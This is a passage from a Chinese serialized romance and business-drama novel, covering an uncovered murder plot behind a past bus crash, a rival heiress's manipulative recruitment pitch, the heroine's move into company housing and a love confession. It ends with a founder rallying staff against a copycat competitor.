尚云从楼上下来,看见阿闲,他的手往会客区扬了扬。 两人坐定,阿闲从手包里拿出一些资料放到尚云面前,“你的猜测是对的。当年慕司机的车祸不是意外,而是预谋。 先是在公交车必经下坡路段泼了猪油,夏天天气热不易凝固,就像地面洒了水一样。但实际会导致车子打滑,再就是刹车被做了手脚,还有慕司机的茶杯被人调了包,原来是白开水,调了包之后,喝了一口发现是酒就没再喝。 幸存者中有人记得,他当时还问售票员,怎么茶杯里装的是酒?因为这句话被作为证词,再加上尸检报告上显示含有酒精,导致判定为酒驾。” 尚云面色沉重,一页一页仔细看着那些资料,看到阿闲在一张空白的纸上,总结所有罪证都指向罪魁祸首:箫章。他停下来,久久盯着这个名字,一言不发。 “尚总,有件事早该告诉你了。九月的好朋友箫小竺就是已故箫章的亲生女儿,现在已经全盘接手雷默集团。至于近期他们的新动作,我不清楚到底是林作杰的主意还是箫小竺的决定。但都一样,无论是他们中的哪一个,这次对克普的投资完全是冲着普世文化来的,他们的目的很简单,让普世文化在巨敌面前无法生存直至消亡。” “克普?”尚云冷笑,顾名思义,克压普世。专为普世文化而生的克星。 “这还没完。”阿闲想了想,说道,“你之前让我查莫诚这小子,居然也是箫章的亲生儿子,随母姓,跟母亲一样是美籍华人。而九月对此毫不知情,甚至......” 尚云闻言若有所思,双眉紧皱。食指缓缓摩挲着拇指指腹,这是他思考问题时一贯的表情。 阿闲话头斩断,他这才抬起头,静静注视他,“甚至什么?” “关系很密切。”阿闲有所保留地说道。 这一点尚云是知道的。点头说道:“辛苦了,回去休息吧。” “你父亲的案子可以重启了吗?”阿闲没有离开的意思。 “暂时不查。” 阿闲皱皱眉,“之前是因为慕家的案子,你让我中断调查。现在慕家案子水落石出,为什么还不能查?” “我说暂时不查,你就别查了。”尚云站起身,一脸严肃,回绝他。 阿闲脸色也不好看,他也站起来,说道:“你知道我跟你回国,这件事是我的唯一任务,也是我每天睁开眼都会思考的事。你的父亲在我的执任期间死亡,对于一个负责他安危的保镖来说是多么严重的失误!这些年,你父亲的死一直是我心底的痛。” “虽然事情不可挽回,但至少让我查清他的死因,可能的话我......” “阿闲!”尚云打断他,深深地叹了一口气,“我明白你的想法。相信我,暂时别查了,这件事牵连甚广,以你我现在的能力,不仅查不出真相,还会有我们背负不了的严重后果。” 阿闲怔了怔,“你知道真相?” 尚云摇摇头,“我想起了小时候一些事情片断,一部分真相,冰山一角而已。相信我,暂时先放下,还没到清算的时机。” “什么时候是清算时机?你不是神,不试试怎会知道现在不是?”阿闲咬咬牙,不甘愿放弃。 尚云沉声道:“你以为我不想吗?我们只有一次出手机会,而这一次机会能成功的机率很渺茫。何必做无谓的牺牲,莽撞成不了事你知不知道!” 阿闲静默下来。 “给你放几天假出去散散心吧,阿闲。”尚云情绪缓和下来,给了他短暂拥抱,拍拍他肩膀,转身上楼了。 第二天,阿闲又照常出现在公司。 尚云见到他,脸上平静也没说什么。出去应酬的时候,阿闲主动作为司机,抢先坐上驾驶位,尚云和木信对视一眼,默契坐后面去了。 跟客户约见在一家酒店里的西餐厅,墨色轿车停在威洋酒店门口,车内下来的三个职业着装的男子。后面的两个同样俊雅,却像雕塑一般,墨镜遮住大半面孔,让人猜不透情绪。走在最前面一位则表情冷酷疏离,卓尔不群的气质却让人移不开视线。 三人气宇轩昂的走进,西餐厅仿佛在一瞬息蓬荜生辉。 刚在包厢里落坐,就有一个女子款款走进来,“尚总。” 尚云面无表情抬眼看着她,没回应。 “尚总不认识我了?”女子来到他身边,被一旁的阿闲架开。“哎,我还能伤害尚总不成,上次你们尚总还送我去过医院呢。” 尚云抬手制止,阿闲松开她,女子才又靠过来。“看来尚总想起我来了,我是小竺呀,九月的朋友,上次那幅画还是你帮我寄出去的呢。” 尚云眯细黑眸,淡然一笑:“真巧又见面了。不过,我还有要事在身,我们约个时间再叙。” 小竺根本就没这么好打发,见尚云这么说,美丽的脸上是耐人寻味的笑容:“尚总,择日不如撞日,就今天吧。放心我不打扰你工作,就在大厅等你,如何?” 尚云深邃的目光在她脸上扫荡,颦蹙眉宇久久没有说话。半分钟后,侧过脸:“好。” 小竺这才嫣然一笑,踩着优雅步伐出去了。 “客人几时到?”尚云坐在那里,微微扭开领带,解开白色衬衫上第一粒水晶钮扣。举手投足间,有一股从容不迫的领导气质。 “有点塞车,大概十分钟后到。” 侍者敲门而入,奉茶递水。又等了一会,客户也到了,尚云亲自出马就没有不成的单子。双方畅聊些旁的事物,满心开怀,末了签下了合同。 送客户上车后,小竺又出现在身后。 “尚总。” 尚云回头,看到小竺,朝木信下巴微微一扬,让阿闲与木信先去车里,自己则向箫小竺走去。 小竺选在大厅一角坐下,尚云就在她面前坐下,面无表情,也不说话。那颗日理万机的脑袋里却在高速运转,分析着她的目的以及各种可能性。 箫小竺微微一笑:“尚总,喝杯咖啡?” “不用。箫小姐,我不喜欢绕弯子的人,有话就直说吧。” “怎么说,我们也是朋友了,再不济也算个老熟人。尚总的态度可让我伤心啊。”小竺温柔一笑。 “早看出箫小姐不是一般人。说吧,找我什么事?”尚云不打算再浪费时间。 第六十二章 她是你的软肋 “你可真直接。”小竺笑容消逝不见。“我喜欢你呀,你信不信?” 尚云眯着眼睛,良久,冷冷一笑:“箫小竺,在我面前,别来这一套。” “尚总英俊又聪明能干,我喜欢你有什么可置疑的?”箫小竺被他深沉的眼神慑住,低垂眼睑喝了一口咖啡:“放心,人家结婚了。喜欢你完全出于欣赏。” 尚云颦蹙着眉宇。 “哦?” 箫小竺见尚云一副不想废话的样子,便打开天窗说亮话:“早就听说普世文化不以营利为最终目的,这样的宽广心胸和高尚情操实在难得一见。不如,我们合作吧?雷默正缺少你这样具有远见的人才。” “箫小姐之前人为制造一场车祸,我差点被你的演技所骗。如此处心积虑难道只是想收购刚起步的普世文化?我想,我们已经没有必要拐弯抹角。” “都说尚总以眼光狠辣精准闻名,那天能逃过你的火眼金睛,主要是被那副画迷惑了心神吧?一向不近女色的冷面王子竟然如此痴心,只可惜,她蒙在鼓里不领你的情。” “够了!你到底想说什么?!” 箫小竺咯咯笑道:“她是你的软肋,提不得,碰不得。你放心,我没打算碰你的软肋,而是来帮你的。” 尚云面色浮起寒冰,目光里的冷冽足以冻僵对面的人。 箫小竺却不知死活,悠然继续道:“实话说吧,你曾在金仕十年,虽将金仕从濒临破产做到了如今气势如虹的地位,但是金仕毕竟是家族企业,你有自己的野心,知道在金仕继续做下去也成不了大气候。 后来干脆出来创立了普世文化,普世虽小。你好歹也是掌门人。 从此有任何决策能全权做主,工作开展无须在高层会议上通过,不用像以往一样任凭一班不懂你管理布局的股东指手画脚。 也只用了短短三年又创造出一家如此优秀闻名遐迩的普世文化。你的潜能还远远没有开发出来。 尚总,天高任鸟飞,海阔凭鱼跃。你的才能应该有更宽广的发挥天地,方能显现你的英雄本色。我知道你对金钱不屑一顾,只要你愿意加入我们雷默,我们一定会给你金仕所给不了的地位和名利。” 尚云忍不住夸她:“箫小姐洞悉人心果然厉害,这些年没少做功课。平日不显山不露水,小小年纪人畜无害的样子,倒是让人放松警惕了。 怪不得雷默一出手便是大手笔,斥巨资建立克普文化。人人都以为是雷默总经理林作杰的手段,却不知真正操盘的人竟是一个小丫头。 一方面打压普世,一方面利诱创始人。作为对手可不敢小瞧你。明面是合作,暗地只怕要架空我,逼我主动弃械投降,俯首称臣。可自古哪有未开战先投降的说法。” 小竺也不气恼他的冷嘲热讽:“尚总不用着急回复我,念着我是九月朋友的身份,你也得考虑几天不是?” “威胁我?” “说威胁多难听。生意场上见长短,当然是抓住一切可用的资源。朋友嘛,用得上的时候就得用不是么?”小竺的笑容携着满不在乎。 “朋友?论心机九月不是你的对手,跟你做朋友她能活到现在得拜谢你的慈悲。林作杰出示的九月那张50万收款签署,是你提供的吧?拿她威胁我,你就不怕我在她面前揭发你的真面目?”尚云说话时,声线基本没有起伏,让人探不出他此时的情绪。 “是啊!什么都逃不过尚总的眼睛。至于揭发,”箫小竺仰面一笑,精致的妆容有几份邪魅:“那你大可以试试,看她是相信一个在她需要的时候不闻不问、不管不顾的男人,还是相信一个在她低谷时期三番五次将她从死亡边缘拉回来的朋友。” 少顷,又深度补刀:“凭我对她的了解,你可是她在生命垂危时依然念着名字的人。她若是对你毫无芥蒂,断不可能会给莫诚机会了。” 尚云心中猛然剧痛,冷冷盯着她,右手食指轻轻摩娑着右手拇指腹。良久,起身。 箫小竺以为他会怒极而去,或是掴来一掌。谁知他竟高深莫测地笑了:“那好,箫小姐,我考虑看看。” 她也站起来,几分得意:“跟聪明人打交道真省心,我等你好消息哟!” 要对付一个人,哪怕他是金刚不败之身,只要揪住他的致命弱点便可。 今天看来,此话果然不假。 尚云回到车上,面色凝重。 阿闲见状,低声问道:“尚总,需要我做什么吗?” “志高给的那张照片。”尚云靠在车椅上,闭目养神。 阿闲沉默少顷,明白尚云说的是关于九月签署50万的协议之事,前段时间在全力查慕家车祸真相,这件事便搁浅了。尚云这会儿提起,知道这是让他继续查的意思:“明白。” 木信听着两人说话像是在打哑谜,本想开个玩笑热络下车内氛围。但尚云身上笼罩着让人不敢造次的威严,阿闲也是一脸凝重的样子,便作罢。 阿闲启动车子,木信则坐在副驾驶。 本以为尚云睡着了,却突然听他叫了一声:“木信。” 木信回头应了一声。 尚云仍闭着眼睛,像睡着了一样,嘴上却问:“博义科技的案子九月跟得怎么样了?” “哈,她在第一阶段的基础打得好。问题挖得深,总结得也较为精准,相对减轻了第二阶段的工作量,昨天就已入驻博义科技,据她发来的报备邮件,明天下午就能回公司。” “嗯。”尚云清冷的声音,在车内清晰而轻缓:“让她独自多历练,以后工作事务让她直接向我汇报,蓝鲸三支总队也暂时我来带队。公司内部管理事务你多花点心思,尤其研发部那边,对手给我们的时间不多了。” 阿闲从后视镜看了看尚云,若有所思。 “好。”木信应道。 “大家绷得太紧了。跟人资提议中秋节举办一场活动,让大家放松一下。” “好,没问题。”木信回应。 尚云没再说话,但车内正副驾驶位的两位都知道,他没睡着,时刻保持着清醒。 第六十三章 搬家 心悦心理咨询公司,创立的时间并不长,经过两年多的发展,开始稳定向上发展。 朱明作为公司的最优秀的心理医生和老板,专程找他的心理病患很多,难免受累。因此公司前段时间在招聘平台上发布了招聘信息,增加人手。 这些事情下面有人负责,朱明也没时间过问。 这时,助理敲门进来,她后面跟着一个双眸有神的小姑娘:“明哥,这是我们新来的助理治疗师王书瑶,书瑶,这就是我们帅气儒雅的大boSS,也是我们心悦公司最有名、最厉害的心理治疗师。” 书瑶在一瞬的怔仲后捂嘴笑了,伸出另一只手:“明哥,很高兴见到你!” 朱明也是一愣,想起对方就是停车场车技不熟练的姑娘,见她伸手过来便轻轻一握:“书瑶,欢迎你的加入!” 接着书瑶又被带去新的工作岗位,她回头看了一眼,朱明站在原地看着她,不禁抿唇一笑。 下班后,朱明像往常一样,整理当天病患资料。书瑶敲门进来,打招呼问,“明哥,你要加班吗?” “怎么了?”朱明问道。 “有没有事情需要我帮忙处理的?” 朱明笑着摇头,“你第一天上班还需要适应,工作的事不用这么着急。” 书瑶轻轻一笑,“那,我就下班喽。” “嗯,你下班吧。” 这时,办公室又传来敲门声。 朱明以为是书瑶:“又怎么了?” 推门进来的人,似笑非笑地远远看着他,也不出声。 他抬头一看,发现来人是尚云。 今天是什么日子?朱明合上资料,落落大方地起身道:“尚云,好久不见。” “多年不见,你还真没怎么变。”尚云嘴唇勾了勾,这才走过来,“我打扰到你工作了吗?” “那倒没有,忙得差不多了。我这里简陋,你随便坐。喝冲泡的咖啡还是凉白开?” “凉白开。”尚云环顾他办公室,明亮简洁,整洁干净。果然一如当年那个斯斯文文的白衣少年。 他在办公室里的简易沙发上坐下了。 沙发很软,很舒服,坐下去就有被拥抱的安全感,也许是特意设计。 “前阵子听我妈说,你回过安源镇,还特意去了一趟我家。”朱明将一杯凉白开放在他面前的小圆桌上,也在旁边沙发上坐下。 尚云点点头,“离开太长时间,安源镇的变化挺大。” “是啊,十二年了。你当年不声不响就离开了,说实话,当时有点替九月不值。”朱明顿了顿又道,“但我凭自己对你的了解,你不是这样的人,有苦衷吧?” “学心理学让人更加知性明理,还是你本性就这么善解人意?”尚云知道朱明一向暗暗喜欢九月,倒希望朱明像预想中那样盛怒,甚至揍自己一拳替九月出气。 听他这样说,反而很意外,但也并不作解释。 朱明不理会他的调侃:“九月曾经几度自杀未遂。两年前来我这里做心理治疗我才知道,她这些年经历了你我难以想象的生活推残。那时第一念头就是找到你狠狠揍一顿,后来想想,其实我做的又好到哪里去?有什么资格怪你。” 尚云坐直身子:“我知道。正是知道她曾经来你这里做过心理诊疗,才来找你。” “你需要我做什么?”朱明忽然明白他的来意,警惕道:“没有九月的允许,我不会将她那些事透露出去的。” “放心,我不是想探她的隐私。但这些年的事发生得太过离奇巧合,事出反常必有妖。想要捉妖,就少不了要找些线索。”尚云也不瞒他,将自己的目的交待出来,“人生难买早知道。过去的事无法重新选择,唯有做当下能做的事。我相信,你也不希望九月白白受这些欺负。” 朱明双手搭在膝上,十指交叉掌心朝内。 此时,他默不作声,一动不动盯着自己的手,似是在思考。 尚云也不逼他,喝了一口水,起身要走。“没事,我知道你需要时间考虑。如果你想明白了,随时可以给我打电话。”说着,在小圆桌上留下一张名片,离去了。 朱明像是被抽空了力气,他无力坐在办公桌前,在电脑里调出九月的电子卷宗,鼠标光标停留在文件上,他兀自摇摇头,又将它关闭。 打开桌子上的文件,继续整理病患资料。 九月刚从博义科技返回自己租住的房子,手里提着一个快餐盒。 到家时,天色将晚。 她发信息跟木信说,“我回来了。今天要找房子,能否明天交报告。” 木信将他信息转给尚云,并回复道:“可以的。以后工作事务直接向总经理汇报,我的工作内容稍有变动。你不在公司所以不知,但职责变动通知邮件有抄送给你。” 九月自然是看到邮件的,也知道木信的职责有所变动,但是,她刻意回避尚云,因此还是跟木信联络。 莫诚此前说替她找房子,但这段时间没有音信。她也没有去联络他,因为,她本身也没想依赖他。 这些年独自闯荡,孑然一身,什么样的事情都熬过来了,找房子这种小事根本不算事。 谁知,尚云的信息就发过来了,“听说你在找房子?” 她怔了半晌,回复道:“嗯。租住的房子要拆旧建新,一直在出差也没时间找房,时间紧迫,所以,今晚没时间写报告了。” “公司还有员工公寓,不比你那房子差。我现在叫严教官安排人来帮你搬东西。” 九月一时不知怎么回复,几次字斟句酌的文字又一个个删掉。 最终回复,“好,谢谢。” 其实,尚云在工作之外鲜少用到严教官。 因此接到尚云的指令,严教官便将这件事情当成工作份内事去完成。叫来了手底下的人,不仅帮九月搬了东西,还将两边的房子都打扫整洁,物件归置照样还原。让九月叹为观止,见识了什么叫作军纪效率,什么叫作内务整理。 严教官将公寓钥匙交给九月,在入职培训时,他就对九月印象很深,如今她又是尚云看重的人,心里自然敞亮明白:“慕九月,老板第一次为公司同事的事,安排我们做这些。你不要辜负他。” 九月接过钥匙,张了张嘴,只说了“谢谢”两个字。 第六十四章 撞见兄妹吵架 九月抬头,看到门上沿标着12b。一个单元的每层楼有四套公寓,分别为Abcd。因朝向不同,南面两套A、b室,北面两套c、d室。同一朝向相邻的两套中间挨得比较近,仅一墙之隔。相反朝向的两套,则要穿过走廊能看到,但也同样是这样的格局。 室内一室两厅,有独立厨卫以及阳台,单人居住已经足够宽敞了。 “嗨!九月你好!”有个温柔的声音忽然响起。“我刚从外面回来的时候,看到你在搬家,人多我就没过来添乱了。” 九月诧异的回头,看到来人竟是公司的内媒记者文菌。两人上次因采访相识。文菌采访风格,一般会提前跟采访的人聊天,熟识之后才正式采访,才不会问不到东西,也不至于对方紧张采访到一些无用的东西。对九月也算是有所了解。 “文菌,你也住在这?进来坐坐。”九月迎过去,招呼她进屋。 “对,我就在对面12c室。基本上这层楼都只有我一个人,以后你长住在这,就有伴了。”文菌手上端着一盘水果,“这水果是刚买的,趁着新鲜给你挑了些过来。我就不进去了,你刚搬过来,需要整理适应,先不打扰你了,以后多的是时间,我再带你熟悉这周边环境。” 送走文菌,九月尝了尝果盘里的车厘子和小番茄,心里幸福感有所提升。 回到公司才发觉工作氛围紧迫了不少,九月虽在外出差,但跟团队也时有联系,知道普世面临劲敌。只是没想到,公司成员的危机感这么强。 花了两个多小时,整理出一份报告发给尚云。 尚云回复也很快,大意是报告没有什么大问题,可直接以此基础列出方案。但提问了一些关于观点和妙思的由来,九月便将自己观察到的一些现象和朝阳提供的一些重要线索简单阐述了一下。 不一会儿,她收到尚云的邮件已读提示,但未再收到尚云的回信。正常情况尚云不会有邮件已读提示,而是直接回复邮件。 九月便知道,自己的报告通过了。 后来的实施方案中,九月把执行重点划分四部分。 一是梳理文化核心三项,策划全员培训,针对核心文化的解读和传播,第二就是行为模式立效,第三用文化活动诠释文化内涵,第四就是通过游戏进行考核。 毕竟博义科技老员工多,工龄也相对较高。很忠诚,但更多的传统愚忠。无论上级或公司的指令是否符合文化价值观,是否悖离公司理念,都会一板一眼去执行。 各阶层的员工也不太能够理解文化中的真正内核。九月便用贴近生活类的游戏设计,让他们亲自体验,既好玩有趣不会感到枯躁。 理解了为什么而做,这么做是什么原因,就不会只在形式上跟着喊口号,因为脑海里开始有了独立的自主理解,而非盲目接受指令,听命服从。再加上游戏规则立在那里,是真真切切要去执行的,否则就会影响整个团队的效益。 方案很快就通过了,这次由蓝鲸第三梯队的12支队去驻厂全程跟进,实施方案。 项目进行中,九月肩上的担心轻松了不少。唯一不凑巧的是手机摔在地上,开不了机了。不过,好在公司有工作通讯工具,还有办公室坐机,想着下班去维修。 难得不加班,一时恍惚不知不觉又站在公司不远处的站台,上了经常往返的那辆公交车。 直到熟悉的站台播报,才想起自己已经搬家了。 不禁一个人傻傻笑起来,下了车准备去对面坐车反回公司宿舍。 意外看到闹别扭的年轻小俩口,牵牵扯扯,女的转身要走,男的赶紧拉住她,像是在挽留,但姿态又硬得很。 九月挑挑眉,不太想围观这样的事,省得双方都尴尬。 但很快脸色一僵,因为那女的转身朝她这边走来,而她看清楚了女子的长相,竟是好长时间未见的小竺。 而后面追过来的男子,则是莫诚。他们见到九月,惧是一愣。 “九月?”小竺显然也看到了她,有些不自然,“你房间都空了,你搬走了?你怎么会在这?你在这里站多久了?” “我我,刚,刚到。”九月被小竺这连珠炮轰得有点结巴。 “九月,你搬家怎么不和我说一声?我不是说我来给你找房子吗?”莫诚上前一步,“这些天公司出了点状况,忙飞了。我紧赶慢赶,今天抽空去签的合同,今天打你电话一直打不通,还叫来搬家公司,但去你原来住房,看到空荡荡的,就叫他们走了。” “对不起,我应该跟你说一声的。是我疏忽了。公司有宿舍,所以就搬去宿舍住了,暂时不考虑租房了。” “宿舍?住在宿舍以后想找你多不方便。你搬出来吧,房子都给你找好了。”莫诚有些急了,拉着九月就走。 一直没说话的小竺这会说道,“住宿舍也挺好的,你别折腾九月了。以后想见面随时能出来不是吗?” 九月被两人的火药味熏到了,便仰着头对莫诚说:“对,我住宿舍以后见面不受影响嘛。” 莫诚一脸不悦,毫不客气地对小竺说,“既然这样,你现在不觉得自己有点多余吗?” “莫诚,别别别。难得见次面,我请你们一起吃点东西。祝贺我搬新家怎么样。”九月赶紧缓和气氛,用胳膊撞撞莫诚。 “不了,我还有事。”小竺似乎余怒未消,转过头冷冷道,“九月可是我的好姐妹,你好好待她。若是让我知道你欺负她,连你这个哥哥我也不认。” 小竺瞪了莫诚一眼,也没跟九月打招呼,直接上车扬长而去。 九月被她那周身怒焰扫到了,愣在一旁,搞不清这是什么状况。 经此一闹,两人各藏心事,一起吃的晚餐成了掩饰两人情绪的道具。彼此有一句没一句,就连吃进肚子里的是什么只怕也记不起来。 “你们为什么吵架?”九月忍了一个晚上,回去的路上还是问了出来。 “拆散我们。”莫诚吐露四个字,表情严肃也不像是开玩笑。 九月不太相信,莫诚可是小竺亲自介绍给她的呀,在黑香水酒吧,小竺还在她面前替莫诚说好话。 “九月,你知道,从一开始我就没打算跟你做普通朋友。本来说这个还早,但既然已经牵扯到这里了,我还是把话说清楚。”莫诚将车停在离宿舍不远的林荫道上,并未下车。声音很沉,眼神却很温柔。 她的脑袋是懵的,还在莫诚吐露的那四字答案过不来。 “也许你不相信,但在认识你之前,我确实是不相信爱情,也不相信一见钟情的人。我从没有如此喜欢一个女孩,一个人的时候会想你,静下来会想你,睡之前会想你,就连白天工作都感觉身边的人都是你的影子。” 九月讷讷地看着他,几乎陷进他目光里的温柔。 他牵住她的手,轻声道:“九月。我对你动心了,从你在训练场给我解围那一刻起,我就动心了。你光是站在我身边,我就有了安定的幸福感。做我女朋友,永远不分开,可以吗?” 她极力保持着冷静清醒,有些紧张地抽回自己的手:“莫诚,谢谢你的真诚和坦白。我对你印象很好,我有认真考虑过这个问题,但是,还是......太快了。” 是的,太快了。尤其听到他说,小竺要拆散他们,这是怎么回事? 第六十五章 普世受挫 莫诚笑了,原本他的预期很低,毕竟九月总看起来不食人间烟火,跟自己的距离不远不近,表现得不太容易被打动:“九月,你能考虑这件事,说明你心里有我,这就足够。我会让你看到我的真心实意,让你更有信心把你一生的幸福交给我。” 九月心里很纷乱,她问:“前段时间公司出问题了吗?我似乎已经很久没有见到你和小竺。发生什么事了?” 莫诚沉默半晌,说道:“公司的事,还有我爸爸的事。” “你爸爸怎么了?”九月升起不好的预感,之前就听小竺说父亲住院了,一直在疗养。 “去世了。”莫诚淡淡地说,脸上也没有出现应有的沉重。 “也许这个时候我不该说这些,毕竟你们失去父亲心里很悲痛。人生大事莫过于生死,作为朋友理应在你们身边。但你俩竟一声不吭,你们真的把我当成朋友吗?”九月望着车窗外,说出这番话来,语气很平静,却有难言的悲哀。 莫诚先是一愕,再就是心虚。箫章虽然去逝,但雷默集团势头刚猛,仍是商圈霸主地位。所以,箫家并没有生前门庭若市,死后门可罗雀的现象。 无论是箫章生前的各界朋友,还是商圈里牵丝攀藤地盟友,三教九流却都是有头有面的主。水太深,莫诚不希望九月出现在那里,实际上,他只陪母亲在葬礼短暂现身,单独的时候也没怎么露面。 自箫章十年前日益显达,世人都知道他有个女儿,却鲜少有人知道箫章原本有个儿子。 而小竺一向就对九月隐瞒了身份,此时还没到揭露身份的时候,她也绝不会让九月看到这些场面。何况,小竺将父亲的死归罪为因九月而起,又怎会通知九月参加葬礼? 两个人都有自己的顾虑,因此那段时间选择缄默,就连九月发来的微信,都故意保留未读。 此时,九月提起这事,意识到无法打马虎眼就能蒙混过关,不禁解释道:“九月,我父亲身体渐渐康复,却突然去逝。我们都很惊慌,一方面要料理后事,另一方面还要接手父亲来不及做任何交待的庞大家业。这段时间只能用兵荒马乱来形容。并不是有意要瞒着你,实在是顾不上。” 她似乎并没有因此而释然,声音依然沉闷:“我没有怪你们,我只怪自己无用,我在最无助的时候,一直以来都是小竺在身边无微不至的照料。如今她最需依靠的时候,我却毫不知情,享受着岁月静好。试问,如果我有能力,凡事能使上三分力,你们还会瞒着我吗?” “九月,你这么说,将我和小竺看成什么人了。” “看成什么人。小竺是我唯一可以毫不保留信任的人,而你是我最信任的人她哥哥。”九月眼眶泛红,推开车门说道:“不早了,回吧。” “九月!”九月下车后,莫诚急切追了出来,拉住她的胳膊,“如果说,这些年小竺对你的关心照顾,都是受我委托。我是否也可以算你毫无保留信任的人?而不仅仅是她哥哥?” 她原本往回缩的胳膊倏然僵住了,“你说什么?” 莫诚意识到说漏了嘴,松开她,垂头丧气地说:“没什么,回去吧。”说完逃也似的,转身钻进车里,驾车离去。 九月圆睁的眼睛,看着莫诚的车,消失不见。 良久,身后传来清冷的声音:“站在这里想什么?” 九月脑袋一片空白,尚云的脸出现在眼前,她仍然是一副难以置信的表情,盯着尚云。 “走吧。”嘴唇微启,语气透着不容抗拒。 九月顺从地跟着回到公寓。 出了电梯,看着尚云将手指贴近指纹锁,就听到“咔嚓”一声,门开了。她像是刚回过神,“尚总,住12A?” 尚云回头瞥她一眼,“不然咧?” 不等她回应,他已经将门合上了。 他在买下别墅以前,就一直住在公司的公寓里。这段时间为了与克普文化赛跑,公司研发部专门组建一支智能研发队伍,转为两班制,白班与夜班交替进行。他为了能随时跟进与处理重要情况,便直接又搬回公寓。 普世文化正处于跟克普文化的无形对峙当中,尚云知道,他迟迟没有回复箫小竺,只怕雷默会有进一步动作。 这段时间他承受的压力可想而知,一要思考普世的出路,不伤一兵一卒突围,二要考虑对手会在哪里出手,下一步会采取什么措施,最坏的结果是什么? 另外,要想杜绝这种压力,除了被动应对,也需要主动出击。阿闲这段时间基本没回公司,他本来就是总经理特助,所有工作都由尚云亲自指派。因此,他一直在外面办事,也没有人会怀疑。 皇天不负苦心人,普世的线上业务程序已经完成,正在试用阶段。 智能组的工作人员刚开始还信心满面,一有点击率就兴奋不已,希望对方在试用之后能留下只字片语。但以失望居多。 两个星期后,他们开始担忧。 半夜两点多,尚云出现在他们面前,见他们愁云惨雾的样子,他难得的展露笑脸:“这么快就没信心了?” 作为公司领头羊,一举一动都会影响士气和氛围。因此,尚云在公司,连笑容都赋予了小策略。公司发展势头好的时候,全员亢奋,尚云通常面色冷凝。 在公司落入低谷,全员失去信心,他反而时常洋溢着轻松笑容。 员工虽然不解,但有些人还是聪明察觉出来,“尚总不用说什么,看他的表情,我们就知道接下来该怎么做。” 此时,听到尚云进来说的那句话,一个成员苦着脸,抱怨道:“克普的网站和App今天上线了。咱们耗资巨大,开发了智能文化管理咨询网站和App,克普捡了现成,现在还获得更好的评价。我们不分白天黑夜守在线上,却连一丝涟渏都没有,真是不公平。” 其实尚云也有管理员帐户,他是能看到后台情况的,当然也时时关注克普动向。 白天克普的互联网产品出来了,迎来了开门红,一上线就接了几单合同。 他估计员工心里不好受,特地在半夜来公司转转,宽慰他们,毕竟夜间是一个人能量最低的时间,以免小消极引发一系列负面情绪。 人在全力以赴后遭到打击,容易破缸子破摔,他必须要稳住他们。 第六十六章 黑巨兽与白巨兽 尚云拉了一张椅子坐下,让所有成员全部搬来自己的椅子,以他为中心围成一圈。 “我理解你们的心情,凡事都得有个过程,一粒种子撒下去,不会马上就拱土发芽,给它时间去扎根。我们这种在线服务的模式,在行业内还不曾有过,第一个吃大闸蟹的人付出的市场研究成本是很高的,也是必要的摸索阶段。 你们也许会说,现在我们不是第一个了。克普才是。 但事实上,克普的抄袭只能在明面上延用了我们的创意,我们的理念文化,我们程序上的设计、环节之间的联结,这些只有我们自己知道其中的用意。他们依葫芦画瓢,不甚了解,也不求甚解。 客户不是傻瓜,他们有自己的判断。就算克普再财大势大,当智能服务无法帮助客户解决问题,做的都是表面工作,就会发现他们虚有其表。 做我们这行,口碑是唯一的通行证,没有通行证注定走不长远。 目前你们这些担心是正常的,但是,不要丧失信心,先想办法引流到App上来,我已经跟市场几个团队都说了,在业务中可以尝试介绍线上业务,争取把大部分客户都移送到互联网上,这样公司业务辐射广,未来可以实现花更少的时间处理更多的工作,节省出差时间,多陪陪家人。” 听了尚云这一席话,在座各位眼里又有了光芒。刚才还抱怨的那位成员,笑着说:“尚总说的对。不过,估计多数人还不太认可线上模式,我们要做出一个案例出来才行。咱不能坐以待毙,至少要把能做的都做了,尽人事听天命嘛。” 其他人也纷纷附和。 “没错,我们先做好自己能掌控的事。” “咱们可以先征集线上免费客户,事成之后,拿着成功案例可以主动出击,寻找客户。比如北上广大都市的黄金商务区,这些公司虽然体量小,但是跟国际接轨,心态开放,容易接受新鲜事物。” “没错,咱还等什么。干就完了。” “干活干活。” 七嘴八舌就起身,搬走椅子回岗位讨论怎么着手。 尚云一时被冷落了,孤零零坐在那里,看着这些员工,脸上笑意却更深了。 于是起身,悄悄离开了研发部门。 第二天,尚云召集蓝鲸三大总队开会,木信和各个部门头儿也一应参会。 “相信在座各位都听说了,克普的线上业务一开局便签了几单合同,而我们的业务从始至终,都处于停滞状态。 大家心里不好受,我也一样。 要记住一句话,只要不是我们要的结局,就不是最后结局! 我们不能坐在这里等着挨打,虽然敌强我弱,但弱有弱的灵活,强有强的顾忌。总有办法争取到转机。” 众人凛然,悄悄挺直了腰杆,坐直了身子。 尚云深遂且严厉的目光扫视全场,继续说道,“你们身陷泥淖,我绝不会弃你们不顾。这场不公平的对决中,唯有舍弃才能获益。 从今天开始,你们将自己的项目提前三天报备,我好安排大家的时间,定期轮流在公司的App上授课,用部分干货课程免费用以引流,我打头阵,借助前段时间互联网对普世创始人的新闻记忆,将App炒热。” 此话一出,众人哗然。 因为此举实在不吻合尚云的格调和作派,木信也大吃一惊,抬头不解地看向尚云。他曾是那样骄傲清高的人,在他心中,尚云一向是傲然指天的人物,怎可在镜头前屈膝求生。 似乎是知道大家心中存有疑虑,解释道:“真君子能伸能屈,在公司生死存亡之际,如果我还固于自己个性,置七百多员工的生计不管不顾,这才是作为创始人真正的屈辱。” 话是这么说。但这又意味着公司业务将要受损。 蓝鲸大队长一向以向云马首是瞻,此时也不免担忧,旋即说道:“尚总这番用心良苦,大家都能体会。但这课程知识都免费送出去了,公司很多业务就直接蒸发了。” 尚云道:“存活靠盈利,这个理论可随境遇和公司的战略变动而变的。公司如今面临的挑战空前绝后。我们必须主动从内击破,主动断尾求生。 现在只有两个选择,一是死守这点业绩,直到被克普打压失去反抗能力,二是向外释放诚意,从重重包围中发出耀眼信号,直至克普制造的迷雾中的客户群看到我们,敌人获取更多资源对手再也拿我们没有办法。 更重要的,各位别忘了普世文化的使命和愿景,我们要抵达的远方,必须途经眼前的暗巷,还有高山远水,所以,别囿于眼前的小利。” 见众人沉默不语,知道大家并不理解他的决策,也还没有真正与他达成共识。 如果就此散会,只怕这项决策的执行力度会弱很多。 想到这里,他缓缓道:“不知在座的各位有没有听过这么一则寓言。上古时期有一黑一白两只巨兽,黑巨兽经常为祸人间,白巨兽则常常救苦济难。 两只巨兽的能量如何,完全在于天主喂食而定。如果他分食不均,黑巨兽食料超过白巨兽,能量也就超过白巨兽,人间必遭惨劫。 